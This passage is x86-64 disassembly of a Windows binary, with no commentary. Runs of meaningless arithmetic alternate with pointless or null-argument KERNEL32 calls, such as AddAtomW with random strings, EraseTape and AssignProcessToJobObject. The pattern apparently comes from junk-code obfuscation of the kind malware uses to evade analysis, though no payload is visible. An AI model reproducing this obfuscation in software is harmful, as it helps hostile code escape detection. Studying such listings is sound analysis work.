mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb270], rax
mov rax, qword [0x1401c70d8]
mov rcx, qword [rsp + 0xc680]
mov qword [rsp + 0xd2b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9620], rax
lea rcx, str.ZlmRvOqb.GFD9mgG.vHwbqQ_KaqYd3ph
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2298], ax
lea rax, [rsp + 0xcf98]
mov qword [rsp + 0xd2b8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xcd08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa6c], ax
mov rax, qword [rsp + 0xc9f8]
mov rax, qword [rax]
mov qword [rsp + 0xd2c0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2f8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd90], rax
mov eax, dword [rsp + 0x5bc4]
mov ecx, dword [0x1401c70f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e80], eax
mov rax, qword [rsp + 0xc9d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x388]
add eax, ecx
mov byte [rsp + 0x1d7], al
movzx ecx, word [rsp + 0x211c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff0], ax
mov eax, dword [rsp + 0x65b4]
mov ecx, dword [rsp + 0x5ec4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ba0], eax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x18a]
and eax, ecx
mov rcx, qword [rsp + 0xc4d0]
mov byte [rcx], al
lea rcx, [rsp + 0x1fdf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd2c8], rax
movsx eax, word [rsp + 0x2030]
mov rcx, qword [rsp + 0xc7f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401c8b30]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov r9d, 2
lea r8, [rsp + 0xc480]
mov rdx, qword [rsp + 0xcb80]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6600], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x66c8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rax, [rsp + 0x1f8c]
mov qword [rsp + 0xd2d0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6e8], rax
movzx eax, word [rsp + 0x1404]
mov rcx, qword [rsp + 0xcbb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2264], ax
movzx ecx, word [rsp + 0x2090]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x229c], ax
mov rax, qword [str.ttvW6E]
mov rcx, qword [rsp + 0xc680]
mov qword [rsp + 0xd2d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9bd8], rax
mov rax, qword [rsp + 0xcb00]
mov rax, qword [rax]
mov qword [rsp + 0xd2e0], rax
mov rcx, qword [rsp + 0xcf40]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xcee8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce18]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3a5], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6664]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5db4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movsx eax, word [rsp + 0x9b4]
movsx ecx, word [rsp + 0x2060]
add eax, ecx
mov word [rsp + 0x223c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd38], rax
lea rcx, [rsp + 0x20128]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov word [rsp + 0x22a0], ax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc620]
add rcx, rax
mov rax, rcx
mov qword [0x1401c7108], rax
mov rax, qword [rsp + 0xcdf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd1b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x217c], ax
lea rcx, str.CbCC_HaQQG
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x210c], ax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xcfb8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc450], rax
mov rax, qword [rsp + 0xa5c0]
mov qword [rsp + 0xd2e8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0xc910]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc588]
shr rax, cl
mov qword [rsp + 0xc9c8], rax
mov r9d, 1
lea r8, [rsp + 0xc5d0]
mov rdx, qword [rsp + 0xc320]
mov rcx, qword [rsp + 0xcd10]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6624], eax
lea rax, [rsp + 0x62f4]
mov qword [rsp + 0xd2f8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a9]
shl eax, cl
mov byte [rsp + 0x395], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd300], rax
mov eax, dword [rsp + 0x5ba0]
mov ecx, dword [rsp + 0x57b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x64cc], eax
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xcc20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x65ec], eax
movsx eax, byte [rsp + 0xb2]
mov rcx, qword [rsp + 0xc8e8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1e5], al
movsx eax, word [rsp + 0xeb8]
mov rcx, qword [rsp + 0xc9e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c70a0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd308], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0xd068]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1bf8], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd108], rax
movzx eax, word [rsp + 0x2018]
mov word [rsp + 0x22a4], ax
mov rax, qword [rsp + 0xc7b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcaf0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x21f4], ax
mov edx, 0x1405
mov rcx, qword [rsp + 0xca10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x64d0], eax
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcec0]
mov qword [rsp + 0xd310], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd310]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9de0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd318], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6504], eax
movsx eax, byte [rsp + 0x3b4]
movsx ecx, byte [rsp + 0x397]
sub eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0xc6f0]
imul eax, dword [rax], 0x2de
mov dword [rsp + 0x6598], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd320], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcb98], rax
movzx eax, word [0x1401c7080]
mov word [rsp + 0x22a8], ax
movzx eax, word [rsp + 0x924]
mov rcx, qword [rsp + 0xcad0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9cc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6628], eax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
mov qword [0x1401c8c40], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x62bc], eax
lea rax, [rsp + 0xbf88]
mov qword [rsp + 0xd328], rax
lea rcx, [rsp + 0x1d408]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x66cc], eax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xcdb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc828], rax
mov rax, qword [rsp + 0xd328]
mov rcx, qword [rsp + 0xc3a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcf30], rax
movzx eax, word [0x1401c7098]
mov word [rsp + 0x22ac], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc460], rax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a4]
add eax, ecx
mov byte [rsp + 0x394], al
lea rcx, [rsp + 0x1d4d0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r9d, r9d
lea r8, [rsp + 0xc480]
mov rdx, qword [rsp + 0xd330]
mov rcx, qword [rsp + 0xc5e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64dc], eax
mov eax, dword [rsp + 0x64f8]
mov rcx, qword [rsp + 0xce00]
mov qword [rsp + 0xd338], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5c0c], eax
mov rax, qword [rsp + 0xc400]
mov ecx, dword [rsp + 0x5d64]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6554], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xd090]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xca90]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x37f], al
mov rax, qword [rsp + 0xcd28]
mov rcx, qword [rsp + 0xcc40]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401c8b40], rax
movzx eax, word [rsp + 0x196c]
mov word [rsp + 0x22b0], ax
movsx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0xc9e8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x17bc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
movzx eax, word [rsp + 0x2158]
mov rcx, qword [0x1401c8a50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d24], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xab28]
mov rcx, qword [rsp + 0xce28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf30], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
lea rcx, [rsp + 0x20278]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x66cc], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0xc520]
mov rcx, qword [rsp + 0xc570]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6678], eax
movzx ecx, word [rsp + 0x2298]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x22b4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0xcb70]
mov qword [rsp + 0xd340], rax
mov rax, qword [rsp + 0xd100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x388]
shl eax, cl
mov byte [rsp + 0x3b5], al
mov rax, qword [rsp + 0xd0f0]
movzx eax, word [rax]
mov word [rsp + 0x22b8], ax
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fec], ax
mov rax, qword [0x1401c8a50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x216c]
sar eax, cl
mov word [0x1401c7110], ax
mov edx, 0x1399
mov rcx, qword [rsp + 0xc890]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66d0], eax
mov rax, qword [rsp + 0xb910]
mov rcx, qword [rsp + 0xd198]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd200], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0xc618]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd2d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2114], ax
movzx eax, byte [rsp + 0x4e]
movzx ecx, byte [rsp + 0x3a0]
add eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0xc8c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x65a4], eax
mov eax, dword [0x1401c70f0]
mov dword [rsp + 0x66d4], eax
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0x1d458]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc9d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x375]
add eax, ecx
mov rcx, qword [rsp + 0xc328]
mov byte [rcx], al
lea rcx, [rsp + 0x1fee8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
mov rax, qword [rsp + 0xc530]
div qword [rsp + 0xc9b8]
mov qword [rsp + 0x9718], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd348], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xd060]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x20d8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
movzx ecx, word [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2160], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1370]
mov word [0x1401c8c48], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x627c], eax
mov r9d, 0x20ec
xor r8d, r8d
lea rdx, [rsp + 0xd2f0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6304], eax
mov rax, qword [rsp + 0xca00]
mov rcx, qword [0x1401c8aa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc898], rax
mov rax, qword [rsp + 0xd2b8]
mov rax, qword [rax]
mov qword [rsp + 0xd350], rax
movsx eax, word [rsp + 0x20d8]
movsx ecx, word [rsp + 0xb60]
shl eax, cl
mov word [rsp + 0x2024], ax
lea rcx, str.DtAJ.vLEPTL
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x22bc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x654c], eax
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
lea rcx, str.Fg039VtClHTwcjG
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x22c0], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
mov word [rsp + 0x22c4], ax
mov rax, qword [0x1401c8ac0]
mov rcx, qword [rsp + 0xcb00]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd240], rax
mov edx, 0x204d
mov rcx, qword [rsp + 0xc490]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66d8], eax
movsx eax, byte [rsp + 0x13c]
movsx ecx, byte [rsp + 0x1d7]
sar eax, cl
mov byte [rsp + 0x3ac], al
mov r9d, 1
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xc190]
mov rcx, qword [rsp + 0xd0d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64b0], eax
lea rdx, [rsp + 0x26098]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x66dc], eax
mov eax, dword [0x1401c8a18]
mov ecx, dword [rsp + 0x6554]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x56dc], eax
mov rax, qword [rsp + 0xc908]
movzx ecx, al
mov rax, qword [rsp + 0xc420]
shl rax, cl
mov qword [rsp + 0x94c8], rax
mov rax, qword [rsp + 0xca28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401c8b98], ax
movzx eax, word [rsp + 0x21b8]
mov word [rsp + 0x22c8], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd148]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x293], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0xcd70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x665c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a24], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x98f0]
mov rcx, qword [rsp + 0xc758]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa08], rax
mov rax, qword [rsp + 0xca58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf78], rax
mov rax, qword [rsp + 0xcea0]
movzx eax, byte [rax]
mov byte [rsp + 0x3ba], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62e8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6324], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6680], eax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59f8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x56dc], eax
lea rax, [rsp + 0xd28]
mov qword [rsp + 0xd358], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd360], rax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1164]
and eax, ecx
mov rcx, qword [0x1401c8b60]
mov word [rcx], ax
mov rax, qword [rsp + 0xd350]
movzx ecx, al
mov rax, qword [rsp + 0xccd8]
sar rax, cl
mov qword [rsp + 0xb3b0], rax
lea rcx, [rsp + 0x1d408]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0xd2d0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x227c], ax
movsx eax, word [rsp + 0x19f8]
movsx ecx, word [rsp + 0x1d04]
or eax, ecx
mov word [rsp + 0x138c], ax
mov rcx, qword [rsp + 0xcfd8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x656c], eax
mov rax, qword [rsp + 0xd230]
mov rcx, qword [rsp + 0xd268]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc748], rax
mov rax, qword [rsp + 0xcee8]
movzx eax, byte [rax]
mov byte [rsp + 0x3bb], al
mov rax, qword [rsp + 0xc820]
mov rcx, qword [rsp + 0xc790]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa408], rax
lea rcx, str.FiUXv.d93Eu
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x21bc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc6f0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xcf40]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6534], eax
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
mov word [rsp + 0x22cc], ax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov qword [0x1401c8c50], rax
mov rax, qword [rsp + 0xc628]
mov ecx, dword [rsp + 0x5a0c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5a24], eax
movzx eax, byte [rsp + 0x3a4]
movzx ecx, byte [rsp + 0x39d]
shl eax, cl
mov byte [rsp + 0x29c], al
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd068]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2274], ax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13ec]
add eax, ecx
mov word [rsp + 0x2050], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov eax, dword [rsp + 0x64d4]
mov dword [rsp + 0x66e0], eax
mov rax, qword [rsp + 0xce18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc668]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcee8]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rcx, str.I2D0_Xdzy1O.mQLn4E
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x22d0], ax
mov rax, qword [rsp + 0xcea8]
mov rax, qword [rax]
imul rax, qword [0x1401c8a88]
mov qword [rsp + 0xa598], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6658], eax
movsx eax, word [rsp + 0x2138]
movsx ecx, word [rsp + 0x22b8]
and eax, ecx
mov word [rsp + 0x1d04], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
movzx eax, word [rsp + 0x200c]
movzx ecx, word [rsp + 0x1bb8]
xor eax, ecx
mov word [0x1401c70e0], ax
movzx ecx, word [rsp + 0x20b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x22d4], ax
mov rcx, qword [rsp + 0xcd58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x637c], eax
mov rax, qword [rsp + 0xcda0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1d8]
mov qword [rsp + 0xd368], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd368]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc510], rax
mov rax, qword [rsp + 0xcf58]
mov rax, qword [rax]
mov qword [rsp + 0xd370], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0xd230]
mov rcx, qword [rsp + 0xc700]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc3a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc268]
movzx eax, word [rax]
mov word [rsp + 0x22d8], ax
mov eax, dword [rsp + 0x5db4]
mov rcx, qword [rsp + 0xc6d0]
mov qword [rsp + 0xd378], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd378]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6464], eax
lea rcx, [rsp + 0x1d520]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.E6O5XWAbv74ZqC7QDQMDsx4hc2ejECJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd380], rax
movsx eax, byte [rsp + 0x37d]
mov rcx, qword [rsp + 0xce08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xcf18]
mov rax, qword [rax]
mov rcx, qword [0x1401c8a68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2c0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rcx, qword [rsp + 0xc568]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x634c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc050], rax
mov rax, qword [rsp + 0xcc60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x606c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5738], eax
movzx eax, byte [rsp + 0x391]
mov byte [rsp + 0x3bc], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd388], rax
movsx eax, word [rsp + 0x17bc]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c7114], ax
mov rax, qword [rsp + 0xcbb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2054]
or eax, ecx
mov word [rsp + 0x22a0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6668], eax
lea rax, [rsp + 0x858]
mov qword [rsp + 0xd390], rax
mov rax, qword [rsp + 0xc1d8]
mov rcx, qword [rsp + 0xd2b8]
mov qword [rsp + 0xd398], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd398]
